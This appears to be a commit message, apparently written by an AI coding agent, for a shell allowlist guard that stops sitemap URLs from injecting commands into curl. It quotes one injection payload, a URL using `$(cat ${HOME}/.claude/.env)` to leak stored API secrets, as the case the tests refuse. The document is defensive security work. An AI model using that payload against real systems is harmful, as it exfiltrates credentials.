forked from bchanot/claude
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+, geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the threat model completely: URLs then come from the TARGET'S OWN SERVER, so a remote file's bytes reach a shell. The severe hazard is injection, not SSRF. Those curls quote with ", inside which $ and backtick still execute, and ~/.claude/.env holds GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of `https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The test suite asserts exactly that payload is refused. Code, not prose: a markdown instruction does not stop an injection. Mirrors the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C locale, POSIX case: newline-proof, locale-independent, no grep pitfall. Allowlist over denylist per CLAUDE.md. Covers: shell metacharacters; scheme (http/https only — no file:, gopher:); literal loopback/private/link-local/metadata/.local; userinfo authority confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com). NOT covered, stated in the header rather than left silent: DNS-level SSRF. A public hostname resolving to a private address passes. Closing it needs resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU window. Proportionate to the threat model — this runs on a workstation auditing the operator's own client sites. Wired at all three entry points: both agents' STEP 4 domain assignment, and the W3 sameAs loop (whose URLs come from the audited repo, not the operator). Refused sameAs rows report as REFUSED rather than vanish — neither dead nor live, and an unguardable sameAs is itself a finding. Note: writing the test file tripped the config-protection hook (test suite is a guarded quality-gate). Used the documented one-shot sentinel with a reason rather than working around the gate; it was consumed as designed. Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded against the real zenquality.fr domain (accepted) and the real exfil payload (refused, exit 2).